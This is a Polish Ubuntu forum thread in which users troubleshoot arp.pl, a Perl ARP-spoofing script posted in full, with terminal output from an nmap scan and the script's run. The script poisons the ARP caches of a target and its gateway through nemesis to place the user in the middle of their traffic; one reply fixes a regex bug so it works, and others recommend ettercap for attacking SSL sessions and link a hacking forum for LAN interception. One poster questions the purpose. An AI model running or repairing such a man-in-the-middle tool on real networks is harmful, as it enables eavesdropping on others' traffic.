arp nie odczytuje adresu bramy
-
- Piegowaty Guziec
- Posty: 4
- Rejestracja: 23 mar 2008, 15:46
- Płeć: Mężczyzna
- Wersja Ubuntu: 7.10
- Środowisko graficzne: GNOME
arp nie odczytuje adresu bramy
witam mam problem jak widac z arp nie odczytuje adresu bramy moze ktos pomoze??
1.terminal
szaki@szaki-desktop:~$ whoami
szaki
szaki@szaki-desktop:~$ su
Hasło:
root@szaki-desktop:/home/szaki# nmap -sP 192.168.1.*
Starting Nmap 4.20 ( http://insecure.org ) at 2008-03-24 22:41 CET
Host 192.168.1.147 appears to be up.
MAC Address: 00:1D:7D:37:BE:35 (Unknown)
Host 192.168.1.181 appears to be up.
Host 192.168.1.254 appears to be up.
MAC Address: 00:04:ED:22:A4:E8 (Billion Electric Co.)
Nmap finished: 256 IP addresses (3 hosts up) scanned in 6.231 seconds
root@szaki-desktop:/home/szaki# tcpdump 'ip host 192.168.1.181'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
2.
szaki@szaki-desktop:~$ cd ~/Desktop/
szaki@szaki-desktop:~/Desktop$ chmod +x arp.pl
szaki@szaki-desktop:~/Desktop$ su
Hasło:
root@szaki-desktop:/home/szaki/Desktop# cat /proc/sys/net/ipv4/ip_forward
1
root@szaki-desktop:/home/szaki/Desktop# echo 1 > /proc/sys/net/ipv4/ip_forward
root@szaki-desktop:/home/szaki/Desktop# ./arp.pl 192.168.1.3 192.168.1.181
[-] Interwal nieznany, przyjmuje 10 sekund.
[-] Interfejs nieznany, przyjmuje eth0.
[+] Wysylam zadanie echa do 192.168.1.3.
[+] Wysylam zadanie echa do 192.168.1.181.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65.
root@szaki-desktop:/home/szaki/Desktop#
1.terminal
szaki@szaki-desktop:~$ whoami
szaki
szaki@szaki-desktop:~$ su
Hasło:
root@szaki-desktop:/home/szaki# nmap -sP 192.168.1.*
Starting Nmap 4.20 ( http://insecure.org ) at 2008-03-24 22:41 CET
Host 192.168.1.147 appears to be up.
MAC Address: 00:1D:7D:37:BE:35 (Unknown)
Host 192.168.1.181 appears to be up.
Host 192.168.1.254 appears to be up.
MAC Address: 00:04:ED:22:A4:E8 (Billion Electric Co.)
Nmap finished: 256 IP addresses (3 hosts up) scanned in 6.231 seconds
root@szaki-desktop:/home/szaki# tcpdump 'ip host 192.168.1.181'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
2.
szaki@szaki-desktop:~$ cd ~/Desktop/
szaki@szaki-desktop:~/Desktop$ chmod +x arp.pl
szaki@szaki-desktop:~/Desktop$ su
Hasło:
root@szaki-desktop:/home/szaki/Desktop# cat /proc/sys/net/ipv4/ip_forward
1
root@szaki-desktop:/home/szaki/Desktop# echo 1 > /proc/sys/net/ipv4/ip_forward
root@szaki-desktop:/home/szaki/Desktop# ./arp.pl 192.168.1.3 192.168.1.181
[-] Interwal nieznany, przyjmuje 10 sekund.
[-] Interfejs nieznany, przyjmuje eth0.
[+] Wysylam zadanie echa do 192.168.1.3.
[+] Wysylam zadanie echa do 192.168.1.181.
[+] Odczytuje adresy MAC z pamieci podrecznej ARP.
[!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65.
root@szaki-desktop:/home/szaki/Desktop#
-
- Sędziwy Jeż
- Posty: 63
- Rejestracja: 11 wrz 2006, 00:13
- Płeć: Mężczyzna
- Wersja Ubuntu: 10.04
- Środowisko graficzne: GNOME
- Architektura: x86
- Kontakt:
Odp: arp nie odczytuje adresu bramy
Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.
W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie !] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65
W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie
Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.
Widze że pobiera MAC .......czyżby arp pisoning??
Jeśli tak to zapraszam na inne forum...mniej poważne...
W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie !] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65
W dodatku wczesniej skanowałeś sieć i nie widziałem żeby wykryło 192.168.1.3 więc dlatego pewnie
Kod: Zaznacz cały
!] Nie moglem odczytac adresu MAC dla 192.168.1.3. at ./arp.pl line 65
Powiedz mi kolego najpierw co to za skrypt ten arp.pl bo nikt nie jest wróżką i nie wiemy co jest w 65 linijce tego skryptu.
Widze że pobiera MAC .......czyżby arp pisoning??
Jeśli tak to zapraszam na inne forum...mniej poważne...
::::::::::: Delcadro::::::::::::
-
- Piegowaty Guziec
- Posty: 1
- Rejestracja: 22 paź 2008, 17:14
- Płeć: Mężczyzna
- Wersja Ubuntu: 8.04
- Środowisko graficzne: GNOME
Odp: arp nie odczytuje adresu bramy
Sprubuj tak:
- chmod -x (nie +) (i wykrywalność daj jako root)
-sudo perl ./arp.pl <brama> <cel> 10 eth0/1 (zależy którego używasz)
Powinno zadziałać
- chmod -x (nie +) (i wykrywalność daj jako root)
-sudo perl ./arp.pl <brama> <cel> 10 eth0/1 (zależy którego używasz)
Powinno zadziałać
-
- Piegowaty Guziec
- Posty: 2
- Rejestracja: 28 mar 2009, 05:32
- Płeć: Mężczyzna
- Wersja Ubuntu: inny OS
- Środowisko graficzne: Inne
Odp: arp nie odczytuje adresu bramy
nie pomoglo problem sie powtarza ,czy mozliwe jest że błąd pojawił się w pliku źródłowym ?
#!/usr/bin/perl
$gateway = shift;
$target = shift;
$time = shift;
$device = shift;
$i = 1;
$SIG{INT} = \&quit;
# Sprawdz poprawnosc argumentow przed startem
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}
if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($device=~/^$/)
{
$device = "eth0";
print("[-] Interfejs nieznany, przyjmuje eth0.\n");
}
# Odczytaj adresy MAC bramy i celu
print ("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print ("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
# Pakiety wyslano, mozemy odczytac adresy MAC
print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);
$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);
# Sprawdz czy odczytane adresy MAC sa poprawne
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}
if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $target.");
}
# Odczytaj wlasny adres IP oraz MAC
print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];
print "[+] Interwal wysylania pakietow to $time sekund.\n\n";
print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n\n";
# Wysylamy pakiety ARP
while($i)
{
print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
sleep $time;
}
# Wcisnieto ctrl+c, przywracamy oryginalne ustawienia
sub quit
{
$i = 0;
print "[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
#!/usr/bin/perl
$gateway = shift;
$target = shift;
$time = shift;
$device = shift;
$i = 1;
$SIG{INT} = \&quit;
# Sprawdz poprawnosc argumentow przed startem
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}
if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_Celu Interwal Interfejs\n");
}
if ($device=~/^$/)
{
$device = "eth0";
print("[-] Interfejs nieznany, przyjmuje eth0.\n");
}
# Odczytaj adresy MAC bramy i celu
print ("[+] Wysylam zadanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print ("[+] Wysylam zadanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
# Pakiety wyslano, mozemy odczytac adresy MAC
print "[+] Odczytuje adresy MAC z pamieci podrecznej ARP.\n";
$gateway_mac = qx[arp -na $gateway];
$gateway_mac = substr($gateway_mac, index($gateway_mac, ":")-2, 17);
$target_mac = qx[arp -na $target];
$target_mac = substr($target_mac, index($target_mac, ":")-2, 17);
# Sprawdz czy odczytane adresy MAC sa poprawne
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}
if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $target.");
}
# Odczytaj wlasny adres IP oraz MAC
print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystujac ifconfig.\n";
@ifconf = split(" ", qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];
print "[+] Interwal wysylania pakietow to $time sekund.\n\n";
print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n\n";
# Wysylamy pakiety ARP
while($i)
{
print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
sleep $time;
}
# Wcisnieto ctrl+c, przywracamy oryginalne ustawienia
sub quit
{
$i = 0;
print "[-] Koniec programu. Przywracanie oryginalnych ustawien ARP.\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
- cukier_lukier
- Przyjaciel
- Posty: 1250
- Rejestracja: 14 cze 2006, 18:25
- Płeć: Mężczyzna
- Wersja Ubuntu: 14.04
- Środowisko graficzne: Brak
- Architektura: x86
Odp: arp nie odczytuje adresu bramy
hm, na pewno błąd jest w obu wyrażeniach :
gdzie powinny być małe litery, czyli:
no a potem to już wpisujecie co najwyżej złe adresy bramek/ip
aha, przypominam, że kod umieszczamy w tagach code !
Kod: Zaznacz cały
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
Kod: Zaznacz cały
if($gateway_mac!~/^([a-f0-9]{2}\:){5}[a-f0-9]{2}$/)
aha, przypominam, że kod umieszczamy w tagach code !
-
- Piegowaty Guziec
- Posty: 2
- Rejestracja: 28 mar 2009, 05:32
- Płeć: Mężczyzna
- Wersja Ubuntu: inny OS
- Środowisko graficzne: Inne
Odp: arp nie odczytuje adresu bramy
to akurat nie bylo ciezkie do rozkminienia szczegolnie ze skrypt podaje gdzie jest blad ...
W kazdym wypadku polecam przerzucic sie na ettercap'a tam za pomoca jednego programu mozna wykonac cala robote rowniez wliczajac w to atak na sesje ssl ... do ktorego niektorzy wlaczaja po 5 okien jest rownierz opcja zatrudawania adresow z zewnatrz co mnie bardzo zaintrygowalo niestety jest jeszcze na bardzo niskim poziomie czyli dziala wylacznie w offensive mode co oznacza ze pozbawiamy atakowany router lacznosci z netem ... sorry za mala dygresie ,ale pomyslalem ze moze sie to komus przydac
W kazdym wypadku polecam przerzucic sie na ettercap'a tam za pomoca jednego programu mozna wykonac cala robote rowniez wliczajac w to atak na sesje ssl ... do ktorego niektorzy wlaczaja po 5 okien jest rownierz opcja zatrudawania adresow z zewnatrz co mnie bardzo zaintrygowalo niestety jest jeszcze na bardzo niskim poziomie czyli dziala wylacznie w offensive mode co oznacza ze pozbawiamy atakowany router lacznosci z netem ... sorry za mala dygresie ,ale pomyslalem ze moze sie to komus przydac

Odp: arp nie odczytuje adresu bramy
Jeśli jeszcze jest problem, to sposób użycia jest
i oczywiście wcześniej
Jeśli chcesz to na moim forum jest opisane dokładne użycie tego programu, bo pewnie potrzebny Ci arp.pl do przechwytywanie informacji w sieciach LAN 
Link do forum http://www.ihacker.cba.pl
Kod: Zaznacz cały
./arp.pl <adres bramy> <adres celu> <interwał> <interfejs>
Kod: Zaznacz cały
chmod +x arp.pl

Link do forum http://www.ihacker.cba.pl
-
- Piegowaty Guziec
- Posty: 1
- Rejestracja: 13 gru 2010, 16:52
- Płeć: Mężczyzna
- Wersja Ubuntu: inny OS
- Środowisko graficzne: Brak
- Architektura: Inna
Odp: arp nie odczytuje adresu bramy
mam podobny problem poniewż gdy próbóje uzyć ./arp.pl <ip barmy> <ip celu> oczywiście bes tych znaczków to mi wyskakuje że nie moze mi odczytac adresu mac da ip bramy. jestem nowicjuszem więc ...
Kto jest online
Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 6 gości